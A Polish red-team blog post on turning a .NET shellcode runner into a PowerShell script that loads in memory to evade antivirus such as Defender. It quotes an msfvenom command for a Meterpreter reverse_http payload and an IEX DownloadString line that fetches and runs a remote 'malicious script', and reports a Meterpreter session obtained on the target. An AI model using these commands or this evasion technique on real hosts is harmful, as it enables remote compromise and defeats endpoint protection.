.NET to PowerShell

Konwersja pliku binarnego .NET do skryptu Powershell

W dzisiejszym wpisie pokaże Wam jak możecie uruchomić dowolną binarkę napisaną w frameworku .NET w skrypcie PowerShellowym. Chciałbym jednak zacząć od wytłumaczenia czemu mielibyśmy to robić. Podczas działań Red Teamowych często jesteśmy zmuszeni uruchomić jakiś plik własnego (lub nie) autorstwa na skompromitowanym hoście. Skompilowane binarki bez podpisu cyfrowego, o nieznanej reputacji są jednak błyskawicznie flagowane przez rozmaite oprogramowanie antywirusowe jako złośliwe, nawet jeżeli nie robią nic złego! Sprawdźcie, jeżeli mi nie wierzycie. Programy antywirusowe jednak o wiele gorzej radzą sobie ze skanowaniem pamięci procesów, co często wykorzystujemy wraz z konstrukcją „IEX New-Object System.Net.DownloadString(„http://adres.pl/do/zlosliwego/skryptu.txt”)”. W jaki więc sposób połączyć plik wykonywalny ze skryptem PowerShellowym? Z pomocą przyjdzie nam multiplatformowość .NETu i możliwość ładowania tzw. .NET Assemblies do PowerShella.

C# Shellcode Runner z Meterpreterowym payloadem

Spróbujmy najpierw napisać prosty Shellcode Runner, którego zadaniem będzie uruchomienie meterpretera na hoście „ofiary”. Zadaniem Runnera będzie wstrzyknąć shellcode do wybranego przez nas procesu. Nie będziemy się wysilać, skorzystajmy z klasycznego schematu:

  • OpenProcess
  • VirtualAllocEx
  • WriteProcessMemory
  • CreateRemoteThread

Payload wygenerowano poleceniem msfvenom -p windows/x64/meterpreter/reverse_http –encrypt xor –encrypt-key klucz lport=8443 lhost=192.168.19.166 -f csharp

Binarka działa, lecz po skopiowaniu jej na maszynę z włączonym Defenderem jest błyskawicznie flagowana (i słusznie) jako złośliwa.

Można było się spodziewać takiego scenariusza. Spróbujmy więc teraz zamienić naszą binarkę na strumień bajtów i załadować ją do programu PowerShell. Można to łatwo zrobić za pomocą programu SharpConverter, który przygotowałem specjalnie w tym celu. Efektem działania programu jest poniższy skrypt.

Na powyższym zrzucie ekranu widzicie skrypt, który zawiera w sobie binarkę w formię bajtów – zmienna $EncodedCompressedFile. Plik binarny jest skompresowany i zakodowany algorytmem Base64, więc w kolejnych linijkach nastepuje jego rozpakowanie i odkodowanie. W linijce 15 ładujemy plik binarny za pomocą metody Load z klasy Assembly. W linijce 18 uruchamiamy nasza funkcję odpowiedzialną za wykonanie kodu. Zgodnie z przewidywaniami – otrzymaliśmy połączenie Meterpretera

Uruchomienie skryptu na hoście w pamięci procesu PowerShell.

Czas na test. Czy uda się uruchomić powyższy skrypt ze zdalnego zasobu i otrzymać sesję Meterpretera na stacji z włączonym Defenderem? Wystawmy nasz skrypt za pomocą Pythonowego modułu http.server i spróbujmy go uruchomić.

Wygląda na to, że się udało.

W powyższy sposób możemy w prosty sposób próbować uruchamiać nawet najbardziej złośliwe oprogramowanie. Oczywiście ten sposób nie zawsze będzie skuteczny, ponadto Defender będzie cały czas monitorować zachowanie systemu, ale powyższa metoda może znacznie uprościć nam pracę w środowiskach z włączoną ochroną antywirusową.

Podsumowanie

W celu ułatwienia przygotowywania skryptów PowerShellowych z .NETowymi binarkami stworzyłem projekt SharpConverter, który pozwoli Wam w łatwy sposób zamieniać dowolny plik wykonywalny na skrypt PowerShellowy.
Metoda ta nie jest cudownym lekiem na AV, a już w szczególności na EDRy, mam nadzieję jednak, że w połączeniu z innymi technikami obfuskacji da Wam większą swobodę pracy.

Dodaj komentarz